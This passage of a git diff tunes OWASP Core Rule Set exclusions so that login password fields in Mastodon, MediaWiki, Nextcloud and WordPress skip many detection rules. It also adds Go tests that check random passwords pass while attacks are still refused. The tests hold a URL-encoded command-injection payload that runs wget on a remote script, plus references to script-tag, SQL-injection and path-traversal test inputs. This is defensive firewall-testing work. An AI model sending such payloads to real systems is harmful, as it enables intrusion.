[]mastodonBodyField{ {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`}, {http.MethodPost, mastodonReports, `{"comment":%s}`}, {http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`}, - {http.MethodPost, mastodonSignUp, `{"password":%s}`}, {http.MethodPost, mastodonSignUp, `{"reason":%s}`}, {http.MethodPost, "/inbox", `{"object":{"content":%s}}`}, {http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`}, @@ -287,6 +302,35 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) { } } +func TestMastodonPasswordsPass(t *testing.T) { + t.Parallel() + + for _, sent := range mastodonPasswordForms { + t.Run(sent.target+" "+sent.field, func(t *testing.T) { + t.Parallel() + + r := request{sent.method, sent.target, []string{formData}} + name := strings.TrimSuffix(sent.field, "=") + + wantRandomPasswordsPass(t, r, name) + + // No rule these fields keep catches the SQL injection or the path + // traversal. + wantPasswordAttacksRefused(t, r, name, scriptTag) + }) + } + + t.Run("JSON", func(t *testing.T) { + t.Parallel() + + r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target, + []string{jsonBody}} + + wantRandomPasswordsPass(t, r, "password") + wantPasswordAttacksRefused(t, r, "password", scriptTag) + }) +} + func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) { t.Parallel() @@ -299,7 +343,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) { } } - for _, sent := range mastodonFormFields { + for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) { if mastodonForm(t, sent, commandInjection) < mastodonThreshold { t.Errorf("%v let through", sent) } @@ -310,7 +354,8 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) { t.Fatal(err) } - for _, sent := range mastodonJSONFields { + passwordJSON := []mastodonBodyField{mastodonPasswordJSON} + for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) { if mastodonJSON(t, sent, attack) < mastodonThreshold { t.Errorf("%v let through", sent) } @@ -330,6 +375,12 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) { t.Errorf("%s refused: %d", sent, score) } } + + for _, sent := range mastodonPasswordForms { + if mastodonForm(t, sent, value) >= mastodonThreshold { + t.Errorf("%v with %s refused", sent, value) + } + } } code := url.QueryEscape(mastodonCodePost) diff --git a/internal/coreruleset/mediawiki.conf b/internal/coreruleset/mediawiki.conf index 590a63a..7fbf9ae 100644 --- a/internal/coreruleset/mediawiki.conf +++ b/internal/coreruleset/mediawiki.conf @@ -108,6 +108,86 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\ ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/" +# wpPassword, lgpassword and password skip each rule random passwords set off. +SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ + "id:900917,phase:1,pass,nolog,chain" + SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" + SecRule &ARGS_GET:wpPassword "@eq 0" \ + "ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\ + ctl:ruleRemoveTargetById=944150;ARGS:wpPassword" + +SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \ + "id:900918,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\ + ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/" + # Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext # or prependtext, and the REST API in the JSON field source. Each of these # rules refused saving or previewing a page whose wikitext held a template, a diff --git a/internal/coreruleset/mediawiki_test.go b/internal/coreruleset/mediawiki_test.go index 66a8137..a7f221c 100644 --- a/internal/coreruleset/mediawiki_test.go +++ b/internal/coreruleset/mediawiki_test.go @@ -3,6 +3,7 @@ package coreruleset_test import ( "net/http" "slices" + "strings" "testing" ) @@ -49,8 +50,8 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) { } // mediawikiQueryFields and mediawikiBodyFields together hold every field that -// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and -// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a +// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles, +// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a // path where it skips them, ending in "=". // //nolint:gochecknoglobals // a constant cannot be a list @@ -136,8 +137,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) { type mediawikiBodyField struct{ target, field string } // mediawikiBodyFields and mediawikiQueryFields together hold every field that -// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and -// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on +// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles, +// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on // a path where it skips them. // //nolint:gochecknoglobals // a constant cannot be a list @@ -146,13 +147,11 @@ var mediawikiBodyFields = []mediawikiBodyField{ {mediawikiUpload, "wpUploadDescription="}, {mediawikiUpload, "wpDestFile="}, {mediawikiSignIn, "wpName="}, - {mediawikiSignIn, "wpPassword="}, {mediawikiMove, "wpOldTitle="}, {mediawikiMove, "wpNewTitleMain="}, {mediawikiMove, "wpReason="}, {mediawikiBlock, "wpTarget="}, {mediawikiSignInPage, "wpName="}, - {"/w" + mediawikiSignInPage, "wpPassword="}, {mediawikiUploadPage, "wpDestFile="}, {"/w" + mediawikiUploadPage, "wpUploadDescription="}, {mediawikiAPI, "title="}, @@ -165,8 +164,17 @@ var mediawikiBodyFields = []mediawikiBodyField{ {mediawikiAPI, "reason="}, {mediawikiAPI, "user="}, {mediawikiAPI, "lgname="}, - {mediawikiAPI, "lgpassword="}, {mediawikiAPI, "username="}, +} + +// mediawikiPasswordFields are the passwords, which skip the four rules and the +// rules that random passwords set off. mediawikiPasswordFields sends each in a +// form data body, on a path where it skips them. +// +//nolint:gochecknoglobals // a constant cannot be a list +var mediawikiPasswordFields = []mediawikiBodyField{ + {mediawikiSignIn, "wpPassword="}, + {mediawikiAPI, "lgpassword="}, {mediawikiAPI, passwordField}, } @@ -233,6 +241,25 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { } } +func TestMediaWikiPasswordsPass(t *testing.T) { + t.Parallel() + + for _, sent := range mediawikiPasswordFields { + t.Run(sent.target+" "+sent.field, func(t *testing.T) { + t.Parallel() + + r := request{http.MethodPost, sent.target, []string{formData}} + name := strings.TrimSuffix(sent.field, "=") + + wantRandomPasswordsPass(t, r, name) + + // No rule these fields keep catches the SQL injection or the path + // traversal. + wantPasswordAttacksRefused(t, r, name, scriptTag) + }) + } +} + // mediawikiCommandAttack is a shell command that only 932235 refuses on the // fields that skip the other command rules, as a query value. const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" @@ -253,7 +280,8 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) { crs = readingBodies(t) - for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) { + for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields, + mediawikiPasswordFields) { r := request{http.MethodPost, sent.target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack) @@ -311,8 +339,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) { } } - fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...), - mediawikiWikitextFields...) + fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields, + mediawikiPasswordFields) for _, sent := range fields { r := request{http.MethodPost, sent.target, []string{formData}} diff --git a/internal/coreruleset/nextcloud.conf b/internal/coreruleset/nextcloud.conf index 700c04f..0c16952 100644 --- a/internal/coreruleset/nextcloud.conf +++ b/internal/coreruleset/nextcloud.conf @@ -61,6 +61,46 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\ ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/" +# The password, in the body, skips each rule that random passwords set off. +SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \ + "id:900119,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:password "@eq 0" \ + "ctl:ruleRemoveTargetById=920270;ARGS:password,\ + ctl:ruleRemoveTargetById=920540;ARGS:password,\ + ctl:ruleRemoveTargetById=921200;ARGS:password,\ + ctl:ruleRemoveTargetById=930100;ARGS:password,\ + ctl:ruleRemoveTargetById=930110;ARGS:password,\ + ctl:ruleRemoveTargetById=930120;ARGS:password,\ + ctl:ruleRemoveTargetById=932125;ARGS:password,\ + ctl:ruleRemoveTargetById=932130;ARGS:password,\ + ctl:ruleRemoveTargetById=932160;ARGS:password,\ + ctl:ruleRemoveTargetById=932230;ARGS:password,\ + ctl:ruleRemoveTargetById=932250;ARGS:password,\ + ctl:ruleRemoveTargetById=932260;ARGS:password,\ + ctl:ruleRemoveTargetById=932270;ARGS:password,\ + ctl:ruleRemoveTargetById=932280;ARGS:password,\ + ctl:ruleRemoveTargetById=932330;ARGS:password,\ + ctl:ruleRemoveTargetById=932340;ARGS:password,\ + ctl:ruleRemoveTargetById=932370;ARGS:password,\ + ctl:ruleRemoveTargetById=932380;ARGS:password,\ + ctl:ruleRemoveTargetById=933100;ARGS:password,\ + ctl:ruleRemoveTargetById=933135;ARGS:password,\ + ctl:ruleRemoveTargetById=933180;ARGS:password,\ + ctl:ruleRemoveTargetById=933210;ARGS:password,\ + ctl:ruleRemoveTargetById=941100;ARGS:password,\ + ctl:ruleRemoveTargetById=941120;ARGS:password,\ + ctl:ruleRemoveTargetById=941160;ARGS:password,\ + ctl:ruleRemoveTargetById=941180;ARGS:password,\ + ctl:ruleRemoveTargetById=942100;ARGS:password,\ + ctl:ruleRemoveTargetById=942151;ARGS:password,\ + ctl:ruleRemoveTargetById=942190;ARGS:password,\ + ctl:ruleRemoveTargetById=942230;ARGS:password,\ + ctl:ruleRemoveTargetById=942290;ARGS:password,\ + ctl:ruleRemoveTargetById=942320;ARGS:password,\ + ctl:ruleRemoveTargetById=942540;ARGS:password,\ + ctl:ruleRemoveTargetById=942550;ARGS:password,\ + ctl:ruleRemoveTargetById=944150;ARGS:password" + # The folder the Files app shows: /apps/files/?dir=/Powershell%20modules. SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \ "id:900103,phase:1,pass,nolog,\ diff --git a/internal/coreruleset/nextcloud_test.go b/internal/coreruleset/nextcloud_test.go index 0ea7f9c..24643fc 100644 --- a/internal/coreruleset/nextcloud_test.go +++ b/internal/coreruleset/nextcloud_test.go @@ -83,7 +83,6 @@ var nextcloudQueryFields = []string{ //nolint:gochecknoglobals // a constant cannot be a list var nextcloudFormFields = []struct{ target, field string }{ {"/login", "user="}, - {"/login", passwordField}, {nextcloudUsers, "userid="}, {nextcloudUsers, "displayName="}, {nextcloudUsers, "groups%5B%5D="}, @@ -253,6 +252,17 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int { return scores } +// nextcloudPasswordScore returns the score that the Core Rule Set, reading +// bodies, gives signing in with value, a query value, as the password. +func nextcloudPasswordScore(t *testing.T, value string) int { + t.Helper() + + r := request{http.MethodPost, "/login", []string{formData}} + got, _ := inspectBody(t, readingBodies(t), r, passwordField+value) + + return got.Score +} + func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) { t.Parallel() @@ -262,9 +272,25 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) { t.Errorf("%s refused: %d", request, score) } } + + if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold { + t.Errorf("password %s refused: %d", value, score) + } } } +func TestNextcloudPasswordPasses(t *testing.T) { + t.Parallel() + + r := request{http.MethodPost, "/login", []string{formData}} + + wantRandomPasswordsPass(t, r, "password") + + // No rule the password keeps catches the SQL injection or the path + // traversal. + wantPasswordAttacksRefused(t, r, "password", scriptTag) +} + func TestNextcloudSentencesPassInTheTexts(t *testing.T) { t.Parallel() @@ -313,6 +339,10 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) { t.Errorf("%s let through: %d", request, score) } } + + if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold { + t.Errorf("password %s let through: %d", commandInjection, score) + } } func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) { diff --git a/internal/coreruleset/wordpress.conf b/internal/coreruleset/wordpress.conf index da98bab..7378d5d 100644 --- a/internal/coreruleset/wordpress.conf +++ b/internal/coreruleset/wordpress.conf @@ -96,11 +96,45 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \ ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\ ctl:ruleRemoveTargetById=942540;ARGS:newcontent" -# Signing in, in pwd, where a password holds any characters: -# 930120: a password ending in /etc/hosts +# Signing in, in pwd, which skips each rule that random passwords set off. SecRule REQUEST_FILENAME "@streq /wp-login.php" \ "id:900704,phase:1,pass,nolog,chain" - SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd" + SecRule &ARGS_GET:pwd "@eq 0" \ + "ctl:ruleRemoveTargetById=920270;ARGS:pwd,\ + ctl:ruleRemoveTargetById=920540;ARGS:pwd,\ + ctl:ruleRemoveTargetById=921200;ARGS:pwd,\ + ctl:ruleRemoveTargetById=930100;ARGS:pwd,\ + ctl:ruleRemoveTargetById=930110;ARGS:pwd,\ + ctl:ruleRemoveTargetById=930120;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932125;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932130;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932160;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932230;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932250;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932260;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932270;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932280;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932330;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932340;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932370;ARGS:pwd,\ + ctl:ruleRemoveTargetById=932380;ARGS:pwd,\ + ctl:ruleRemoveTargetById=933100;ARGS:pwd,\ + ctl:ruleRemoveTargetById=933135;ARGS:pwd,\ + ctl:ruleRemoveTargetById=933180;ARGS:pwd,\ + ctl:ruleRemoveTargetById=933210;ARGS:pwd,\ + ctl:ruleRemoveTargetById=941100;ARGS:pwd,\ + ctl:ruleRemoveTargetById=941120;ARGS:pwd,\ + ctl:ruleRemoveTargetById=941160;ARGS:pwd,\ + ctl:ruleRemoveTargetById=941180;ARGS:pwd,\ + ctl:ruleRemoveTargetById=942100;ARGS:pwd,\ + ctl:ruleRemoveTargetById=942151;ARGS:pwd,\ + ctl:ruleRemoveTargetById=942190;ARGS:pwd,\ + ctl:ruleRemoveTargetById=942230;ARGS:pwd,\ + ctl:ruleRemoveTargetById=942290;ARGS:pwd,\ + ctl:ruleRemoveTargetById=942320;ARGS:pwd,\ + ctl:ruleRemoveTargetById=942540;ARGS:pwd,\ + ctl:ruleRemoveTargetById=942550;ARGS:pwd,\ + ctl:ruleRemoveTargetById=944150;ARGS:pwd" # Saving through the REST API, the JSON fields title, excerpt and name skip these # rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only